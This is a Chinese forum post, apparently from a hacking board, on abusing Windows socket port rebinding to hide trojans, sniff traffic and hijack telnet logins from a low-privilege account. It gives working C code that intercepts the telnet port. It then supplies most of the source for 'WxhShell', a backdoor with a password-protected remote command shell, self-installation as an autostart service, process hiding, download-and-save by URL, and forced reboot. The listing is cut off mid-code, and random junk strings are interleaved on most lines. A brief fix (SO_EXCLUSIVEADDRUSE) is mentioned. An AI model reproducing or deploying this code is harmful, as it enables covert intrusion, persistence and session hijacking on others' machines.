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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: y9Q"3LLic`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Of{'A  
w&}UgtEm  
  saddr.sin_family = AF_INET; kN* \yH|  
mh~n#bah  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); cx4'rK.  
0.!Q 4bhD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5O"wPsl  
g%d&>y?1r  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "Oy&6rrr  
l5_%Q+E_  
  这意味着什么?意味着可以进行如下的攻击: ]GPUL>7  
Q$2^m(?;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =Y5*J#  
.w)T2(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :6frx=<  
i{ 2rQy+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ++0xa%:  
EB>rY  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?T:$:IHw  
O[#B906JB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <*&2b  
cWL 7gv\|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {%z}CTf#  
jz$83TB-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bq` 0$c%hN  
h>K%Ox R  
  #include .e2 K\o  
  #include Jx= v6==7  
  #include h2edA#bub  
  #include    6b#J!:?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   610hw376B  
  int main() oNBYJ]t  
  { g/m%A2M&aH  
  WORD wVersionRequested; ( j~trpe,  
  DWORD ret; ]6EXaf#  
  WSADATA wsaData; 4kQL\Ld#E%  
  BOOL val; >a1 ovKF  
  SOCKADDR_IN saddr; AT,?dxP J  
  SOCKADDR_IN scaddr; c95{Xy  
  int err; |CjE }5Op>  
  SOCKET s;  W,)qE^+  
  SOCKET sc; dKTUW<C  
  int caddsize; p uLQ_MNV  
  HANDLE mt; as| MB (  
  DWORD tid;   `F1 ( v  
  wVersionRequested = MAKEWORD( 2, 2 ); ;u: }rA)  
  err = WSAStartup( wVersionRequested, &wsaData ); SwPc<Z?P  
  if ( err != 0 ) { Xa32p_|5~  
  printf("error!WSAStartup failed!\n"); @Y2&v956  
  return -1; ] Q\/si&  
  } IK^jzx   
  saddr.sin_family = AF_INET; YNi3oG]h  
   H"> }y D  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 kihO~<  
kzLtI w&.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); % z:;t  
  saddr.sin_port = htons(23); [ Lo}_v&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rhe;j//`  
  { $:MO/Su z{  
  printf("error!socket failed!\n"); B%Sp mx8  
  return -1; K%"cVqb2V  
  } 1~#p3)B  
  val = TRUE; ?QXo]X;f&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 D2}nJFR ]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &D~70N\L  
  { ,*@6NK,.  
  printf("error!setsockopt failed!\n"); <U]#722  
  return -1; \ >(;t#>  
  } JR j%d&^}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8o;9=.<<~u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X`k[ J6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u)fmXoQ  
f i3<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K r&HT,>B  
  { i3} ^j?jA2  
  ret=GetLastError(); ]gQ4qu5  
  printf("error!bind failed!\n"); ,fwN_+5  
  return -1; ?pv}~>  
  } DHV#PLbN$  
  listen(s,2); V OViOD  
  while(1) U8(Rye$  
  { [UHDN:y  
  caddsize = sizeof(scaddr); PDcZno?  
  //接受连接请求 6 4da~SEn  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y@Kp'+t(!  
  if(sc!=INVALID_SOCKET) W@x UR-}51  
  { z_p/.kQ'5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *tda_B 2  
  if(mt==NULL) vWwnC)5  
  { fH7o,U|  
  printf("Thread Creat Failed!\n"); u F T&r|  
  break; AhARBgf<  
  } q e:,%a-9  
  } t>T |\WAAL  
  CloseHandle(mt); &V&0kp@+  
  } $Q|t^(  
  closesocket(s); QpPJ99B|  
  WSACleanup(); A8R}W=  
  return 0; dSb|hA}@  
  }   [$Ld>`3  
  DWORD WINAPI ClientThread(LPVOID lpParam) j9za)G-J  
  { Xo*=iD$Jys  
  SOCKET ss = (SOCKET)lpParam; 1v4(  
  SOCKET sc; rnVh ]xJ  
  unsigned char buf[4096]; TK;*:K8oe  
  SOCKADDR_IN saddr; Nd~?kZZu  
  long num; 2 c <Qh=  
  DWORD val; %jY /jp=R  
  DWORD ret; n@xDFa  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !z;a>[T'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   sgo({zA`i  
  saddr.sin_family = AF_INET; 'Z+~G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y$ ;C@I  
  saddr.sin_port = htons(23); ']+-u{+#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h&Ehp   
  { Q- %Q7n'c  
  printf("error!socket failed!\n"); ^Q]*CU+C  
  return -1; bO: Ei  
  } 78\:{i->ta  
  val = 100; (@dh"=Lt\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z2WAVSw  
  { _{o=I?+]  
  ret = GetLastError(); _Va!Ky =]  
  return -1; S"UFT-N  
  } Ak$gh b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u|7d_3 ::  
  { JI}(R4uV  
  ret = GetLastError(); KD^>Vv#  
  return -1; ]+W+8)f 1M  
  } QH6Lb%]/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 85l 1  
  { n~l )7_G  
  printf("error!socket connect failed!\n"); 8| zR8L  
  closesocket(sc); ;5A&[]@^^@  
  closesocket(ss); a2*WZc`  
  return -1; {hX. R  
  } dx@#6Fhy  
  while(1) R v6{ '\:  
  { !Ljs9 =UF  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #:Di1I9<O7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |$":7)e H!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 hq/\'Z&!+P  
  num = recv(ss,buf,4096,0); pK#Ze/!  
  if(num>0) d+%1q  
  send(sc,buf,num,0); hNXPm~OK\  
  else if(num==0) YZf<S:  
  break; 1<^"OjQ  
  num = recv(sc,buf,4096,0); /J8AnA1  
  if(num>0) 86~HkHliv  
  send(ss,buf,num,0); /!UuGm   
  else if(num==0) phUno2fH  
  break; 0yXUVKq3  
  } Z bxd,|<|  
  closesocket(ss); -Xkdu?6Eh  
  closesocket(sc); ,*r"cmz  
  return 0 ; cU5x8[2  
  }  FZnkQ  
O: sjf?z  
K GkzE  
========================================================== 'bkecC  
{SW104nb&#  
下边附上一个代码,,WXhSHELL |,5b[Y"Dt  
4-=>># P  
========================================================== \w^iSK-  
t-lWvxXe  
#include "stdafx.h" %$I\\q q>{  
dx[<@f2c  
#include <stdio.h> (hd^  
#include <string.h> O%A:2Y79  
#include <windows.h> Nc[>CgX"@  
#include <winsock2.h> LS4c|Dv  
#include <winsvc.h> oDx*}[/  
#include <urlmon.h> +GgWd=X.Y  
ji`N1e,l  
#pragma comment (lib, "Ws2_32.lib") g||{Qmr=1  
#pragma comment (lib, "urlmon.lib") SMk{159q&  
?b:J6(-  
#define MAX_USER   100 // 最大客户端连接数 {Zjnf6d]  
#define BUF_SOCK   200 // sock buffer |v}"UW(y  
#define KEY_BUFF   255 // 输入 buffer ,m!j2H}8  
R* E/E  
#define REBOOT     0   // 重启 H]Q Z4(  
#define SHUTDOWN   1   // 关机 9IMtqL&  
0kpRvdEr-  
#define DEF_PORT   5000 // 监听端口 ?)7uwJsH  
RP7e)?5$s  
#define REG_LEN     16   // 注册表键长度 /+P 4cHv]F  
#define SVC_LEN     80   // NT服务名长度 @h X  
*(s+u~, I  
// 从dll定义API Q<d\K(<3?:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %]>c4"H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E$34myOVf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iquB]z'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "a-Ex ]  
7s,IT8ii  
// wxhshell配置信息 t'_Hp},  
struct WSCFG { Z~~{!C+G  
  int ws_port;         // 监听端口 DL|,:2`  
  char ws_passstr[REG_LEN]; // 口令 9]VUQl9gh  
  int ws_autoins;       // 安装标记, 1=yes 0=no > z h  
  char ws_regname[REG_LEN]; // 注册表键名 ]o_Z3xXUa  
  char ws_svcname[REG_LEN]; // 服务名 ;) 5d wq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hv}rA,Yd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #wNksh/J^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q*Yh_IT.I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /P5w}n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a =*(>=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NUEy0pLw  
OTL=(k  
}; {~k /xM.-  
bec n$R  
// default Wxhshell configuration wS <d8gw  
struct WSCFG wscfg={DEF_PORT, Eg5|XV  
    "xuhuanlingzhe", &iR>:=ks N  
    1, 6/wAvPB$  
    "Wxhshell", CwTx7 ^qa  
    "Wxhshell", <O?iJ=$  
            "WxhShell Service", ZBcZG  
    "Wrsky Windows CmdShell Service", 26yv w  
    "Please Input Your Password: ", '73dsOTIT  
  1, J8J~$DU\Gv  
  "http://www.wrsky.com/wxhshell.exe", Y;p _ff  
  "Wxhshell.exe" $s4rG=q  
    }; x<"1T w5e  
 ^vYH"2  
// 消息定义模块 ]=2Ba<)m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b~Op1p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f`.8.1Rd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O>w Gc8Of\  
char *msg_ws_ext="\n\rExit."; OlK3xdg7  
char *msg_ws_end="\n\rQuit."; ~+A?!f;-J  
char *msg_ws_boot="\n\rReboot..."; 2Auhv!xV  
char *msg_ws_poff="\n\rShutdown..."; gtyo~f  
char *msg_ws_down="\n\rSave to "; MmI4J$F  
rBkLwJ]  
char *msg_ws_err="\n\rErr!"; \s<{V7tq  
char *msg_ws_ok="\n\rOK!"; 2w'Q9&1~  
0_}OKn)J  
char ExeFile[MAX_PATH]; (\, <RC\  
int nUser = 0; ?5Wjy  
HANDLE handles[MAX_USER]; yaMNt}y-q  
int OsIsNt; 6,G1:BV{K  
BdG~y1%:  
SERVICE_STATUS       serviceStatus; "2i{ L '  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZvpcjP  
sczN0*w&C  
// 函数声明 ,u#uk7V  
int Install(void); =GL}\I  
int Uninstall(void); }\:3}'S.$  
int DownloadFile(char *sURL, SOCKET wsh); xKWqDt  
int Boot(int flag); 2xhwi.u  
void HideProc(void); T,@.RF  
int GetOsVer(void); 68Vn]mr#  
int Wxhshell(SOCKET wsl); cNtGjLpx;  
void TalkWithClient(void *cs); `$ZX]6G  
int CmdShell(SOCKET sock); Y|_ #yb  
int StartFromService(void); MGfDxHg]  
int StartWxhshell(LPSTR lpCmdLine); @HxEp;*NH"  
6b~Zv$5^Y-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]{{A/ j\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N#Y%+1  
h=.|!u  
// 数据结构和表定义 X]U,`oE)9  
SERVICE_TABLE_ENTRY DispatchTable[] = wdS^`nz|  
{ Gi~p-OS,  
{wscfg.ws_svcname, NTServiceMain}, ]@Y8! ,  
{NULL, NULL} b4Br!PL@G  
}; 5B#q/d1/a  
.X\p;~H 5  
// 自我安装 `utv@9 _z  
int Install(void) k<Z^93 S  
{ @*]l.F   
  char svExeFile[MAX_PATH]; ^ llZf$`  
  HKEY key; {E-.W"t4  
  strcpy(svExeFile,ExeFile); "XT7;!  
]|it&4l  
// 如果是win9x系统,修改注册表设为自启动 Tz4,lwuWX7  
if(!OsIsNt) { uz-,)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { svCD&~|K#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S_/9eI~X  
  RegCloseKey(key); <`i " 5`J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 15+>W4v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |!E>I  
  RegCloseKey(key); dqnH7okZ  
  return 0; y  >r7(qg  
    } n$ $^(-g@)  
  } lqn7$  
} B8UtD  
else { veAg?N<c p  
C8rD54A'M  
// 如果是NT以上系统,安装为系统服务 I|9(*tq)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HS XS%v/Y  
if (schSCManager!=0) f]`#BE)V  
{ (4cWq!ax<$  
  SC_HANDLE schService = CreateService FRd!UqMXY  
  ( (+6 8s9XS7  
  schSCManager, C93BK)$}  
  wscfg.ws_svcname, 26PUO$&b.  
  wscfg.ws_svcdisp, X1&Ug ^  
  SERVICE_ALL_ACCESS, <nlZ?~%}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _BO:~x  
  SERVICE_AUTO_START, LSQWveZz  
  SERVICE_ERROR_NORMAL, 59!yz'feF  
  svExeFile, t ~ruP',~\  
  NULL, ) DXN|<A  
  NULL, u\wdb^8ds  
  NULL, [Oen{c9 A  
  NULL, %KHO}gad1  
  NULL 8@]*X,umc  
  ); W^npzgDCo  
  if (schService!=0) n|2`y?  
  { Z>gxECi  
  CloseServiceHandle(schService); `bT!_Ru  
  CloseServiceHandle(schSCManager); Wt4ROj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Gdmh#pv  
  strcat(svExeFile,wscfg.ws_svcname); T6m#sVq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C~4_Vc*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JBfDz0P  
  RegCloseKey(key); mR@|]T  
  return 0; ! Ob  
    } 2_M+akqy^  
  } hTcy;zLLS  
  CloseServiceHandle(schSCManager); =+5z;3  
} A]ZCQ49  
} QA>(}u\+  
qzS 9ls>>  
return 1; CF"$&+s9  
} rCfr&>nn  
<6QG7 i  
// 自我卸载 uMVM-(g%  
int Uninstall(void) %|E'cdvkX  
{ _Z?{&k  
  HKEY key; @)PA9P |  
6(awO2{BP  
if(!OsIsNt) { N`XJA-DE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 56gpAc  
  RegDeleteValue(key,wscfg.ws_regname); U"$Q$ OFs  
  RegCloseKey(key); Ck;O59A"&-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7?Q@Hj(:NT  
  RegDeleteValue(key,wscfg.ws_regname); o#3?")>|  
  RegCloseKey(key); y_EkW f  
  return 0; Tlrr02>B{  
  } IN=pki |.  
} VH[r@Pn  
} BCsz8U!  
else { MJNY#v3  
d]1%/$v^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2{;&c  
if (schSCManager!=0) J$6h% Eyo  
{ AQ n>K{M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dp`xyBQ3  
  if (schService!=0) 8|^dM$  
  { Ww5c9orXn  
  if(DeleteService(schService)!=0) { 6BM[RL?T  
  CloseServiceHandle(schService); 9ZvBsG)  
  CloseServiceHandle(schSCManager); fm$eJu  
  return 0; t`NZ_w /  
  } !w iW#PR  
  CloseServiceHandle(schService); U |I>CDp  
  } S Y\ UuZ  
  CloseServiceHandle(schSCManager); S<}2y9F  
} ].F7. zi  
} @_"B0$,-i  
! `5[(lm  
return 1; pRI<L'  
} @P=St\;VP  
I)#=#eI* :  
// 从指定url下载文件 r~cmrLQa  
int DownloadFile(char *sURL, SOCKET wsh) #qkokV6`  
{ ZeewGa^r  
  HRESULT hr; $YZsaw  
char seps[]= "/"; lv -z[  
char *token; 1d/-SxhZ  
char *file; K&FGTS,  
char myURL[MAX_PATH]; i0F.c\  
char myFILE[MAX_PATH]; [h>|6%sW  
<$\vL   
strcpy(myURL,sURL); s ^NO(  
  token=strtok(myURL,seps); pR_cI]{=SA  
  while(token!=NULL) FTM(y CN  
  { Jf\lnJTyU8  
    file=token; hZGoiWC  
  token=strtok(NULL,seps); d:/8P985  
  } a*LT<N  
*r!f! eA:  
GetCurrentDirectory(MAX_PATH,myFILE); { 3``To$  
strcat(myFILE, "\\"); m87,N~DP  
strcat(myFILE, file); TDI8L\rr  
  send(wsh,myFILE,strlen(myFILE),0); wMy$T<:   
send(wsh,"...",3,0); m"Y;GzqQl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xml@]N*D#E  
  if(hr==S_OK) 49f- u  
return 0; \s<7!NAE4  
else :}d`$2Dz  
return 1; J ytY6HF  
.qVz rS  
} OJd!g/V  
p.KX[I  
// 系统电源模块 9hAS#|vK  
int Boot(int flag) mv@cGdxu  
{ KTn,}7vZ  
  HANDLE hToken; 8 vNgePn  
  TOKEN_PRIVILEGES tkp; gfQ&U@N  
"zW3d KVc  
  if(OsIsNt) { #PnuR2s7.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S,T?(lSl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  }* iag\  
    tkp.PrivilegeCount = 1; WqN=  D5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Zu(eYH=Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8@%Xd^  
if(flag==REBOOT) { j,Sg?&"%=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VM{`CJ2  
  return 0; H <CsB  
} c>fLSf  
else { xsK{nM6g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %bf+Y7m  
  return 0; TJ(PTB;  
} _'&N01  
  } '!`%!Xg  
  else { e;b,7Qw  
if(flag==REBOOT) { L(!4e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iO=xx|d  
  return 0; fr'M)ox1  
} s vn[c*  
else { {#q']YDe`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y e!Bfz>  
  return 0; EM/NT/  
} f@l6]z{.L  
} D|I(2%aC  
kTQ:k }%B  
return 1; A7U'>r_.  
} CG'NC\x5  
R`=3lY;  
// win9x进程隐藏模块 3nuf3)  
void HideProc(void) 5zJkPki  
{ ) Kfk\  
<B6@q4Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ${'gyD  
  if ( hKernel != NULL ) D^Dm, -  
  { <'A>7M~h?*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C%d 4ItB >  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7}bjJR "  
    FreeLibrary(hKernel); ];Whvdnv  
  } JV'd!5P  
!f_GR Pj'  
return; P# 2&?.d\  
} 2=ZR}8}9Q:  
mY-Z$8r  
// 获取操作系统版本 KtJE  
int GetOsVer(void) ZCPK{Ru QE  
{ bHlG(1uf  
  OSVERSIONINFO winfo; hZnT`!iFE^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -Nmf}`_  
  GetVersionEx(&winfo); KsYT3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A/N*Nc  
  return 1; zO{$kT\r&  
  else )6)|PzMQ'  
  return 0; j)\&#g0u6  
} 7'FDI`e[  
THH rGvb  
// 客户端句柄模块 3(P^PP8  
int Wxhshell(SOCKET wsl) 475yX-A  
{  N>`+{  
  SOCKET wsh; "M6a_rZ2W  
  struct sockaddr_in client; FW7+!A&F  
  DWORD myID; Ff>Y<7CQ v  
pH#&B_S6z=  
  while(nUser<MAX_USER) b qB[ vPsI  
{ R7*Jb-;$!  
  int nSize=sizeof(client); Wq)'0U;{$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A{h hnrr8  
  if(wsh==INVALID_SOCKET) return 1; , >Y. !  
_yjM_ALjo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L*tXy>&b.  
if(handles[nUser]==0) kN9S;o@)  
  closesocket(wsh); X@+:O-$  
else &n<jpMB  
  nUser++; |Ix6D  
  } N&NOh|YS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V2es.I  
:{4G= UbAI  
  return 0; 6bnAVTL5  
} ..FUg"sSO  
IZ')1  
// 关闭 socket "b%hAdR  
void CloseIt(SOCKET wsh) 2a.NWJS  
{ pALB[;9g  
closesocket(wsh); )xQxc.  
nUser--; 0vG}c5;F  
ExitThread(0); {+c/$4 <  
} )$q<"t\#P#  
==x3|^0y  
// 客户端请求句柄 q^sMJ  
void TalkWithClient(void *cs) `Q26Dk  
{ N(Y9FD;H  
{EJVZG:&  
  SOCKET wsh=(SOCKET)cs; *B}vYX  
  char pwd[SVC_LEN]; :'y  
  char cmd[KEY_BUFF]; |U nTd$m  
char chr[1]; ?f']*pD8  
int i,j; %fP^Fh   
~b\7 qx_a9  
  while (nUser < MAX_USER) { JoW*)3Z  
p8s2#+/  
if(wscfg.ws_passstr) { Oi BK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {\|? {8f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u-UUF  
  //ZeroMemory(pwd,KEY_BUFF); ?^BsR  
      i=0; 1@)]+* F*z  
  while(i<SVC_LEN) { gbpm::  
k6JB%m\E  
  // 设置超时 8e\a_R*(|  
  fd_set FdRead; k`g+    
  struct timeval TimeOut; w2]1ftY  
  FD_ZERO(&FdRead); b]RCe^E1  
  FD_SET(wsh,&FdRead); ^\N2 Iu>6  
  TimeOut.tv_sec=8; p5F[( H|9  
  TimeOut.tv_usec=0; ^%_B'X9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8YkP57Y%[Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BCUw"R#  
RB/[(4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  (i*1M  
  pwd=chr[0]; ?[!.TU?4N  
  if(chr[0]==0xd || chr[0]==0xa) { bDUGzezP<  
  pwd=0; s+zb[3}  
  break; 7]e]Y>wZap  
  } 6/4OFvL1  
  i++; 5mSXf"R^  
    } wT*N{).  
tHoFnPd\|  
  // 如果是非法用户,关闭 socket pvmm" f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yWzvE:!)  
} f~Kln^  
! FHNKh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9k7|B>LT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "6Dz~5  
4] ?  
while(1) { !&Q,]\j  
aF'Ik XG d  
  ZeroMemory(cmd,KEY_BUFF); g?=B{V  
}d.R=A9L  
      // 自动支持客户端 telnet标准   $,i:#KT`  
  j=0; Gw+z8^|C&}  
  while(j<KEY_BUFF) {  EVq<gGy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S}Mxm 2  
  cmd[j]=chr[0]; !@VmaAT  
  if(chr[0]==0xa || chr[0]==0xd) { Kjz,p^Y\  
  cmd[j]=0; $ya#-pi`;  
  break; {g/\5Z\b  
  } `dL9sfj>  
  j++; ;/oMH/,U8  
    } {qLnwy!i  
Mqc[IAcd]  
  // 下载文件 9!9 Gpi  
  if(strstr(cmd,"http://")) { f7s]:n*Ih  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P\2QH@p@t  
  if(DownloadFile(cmd,wsh)) ]-* }-j`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9,y&?GLP  
  else ?R,^prW{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fd+kr#  
  } {ReAl_Cm  
  else { |AFF*]e S  
)3)L  
    switch(cmd[0]) { mnil1*-c0  
  W;KHLHp-  
  // 帮助 #v&&GuF  
  case '?': { sp_(j!]jX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vjXvjv{t  
    break; hJd#Gc~*M  
  } :nwcO3~`  
  // 安装 GuDus2#+  
  case 'i': { +,|-4U@dl  
    if(Install()) Rb9Z{Clq>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aaaC8;.  
    else tkuN$Jl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u8?ceM^r  
    break; R8],}6,;E}  
    } zb;' }l;+  
  // 卸载 l>qCT  
  case 'r': { L\-T[w),z7  
    if(Uninstall()) q>Q|:g&:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); siD Sm  
    else &0>{mq}p,:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e9%6+ 9Y  
    break; %djx0sy  
    } ! prU!5-  
  // 显示 wxhshell 所在路径 dvL'>'g  
  case 'p': { <|2_1[,sl  
    char svExeFile[MAX_PATH]; .Zwn{SMtu  
    strcpy(svExeFile,"\n\r"); Np/[MC  
      strcat(svExeFile,ExeFile); iOJgZuP  
        send(wsh,svExeFile,strlen(svExeFile),0); }VFSF/\^  
    break; c89RuI `B~  
    } 5mFi)0={y  
  // 重启 :_e.ch:4  
  case 'b': { ax 3:rl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '6xn!dK  
    if(Boot(REBOOT)) f ~Fus  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +-.BF"}  
    else { u*9C(je  
    closesocket(wsh); MiSFT5$v6  
    ExitThread(0); Ab(bvS8r$  
    } Cog:6Gnw  
    break; c3 wu&*p{  
    } tXp)o >"  
  // 关机 W:) M}}&H  
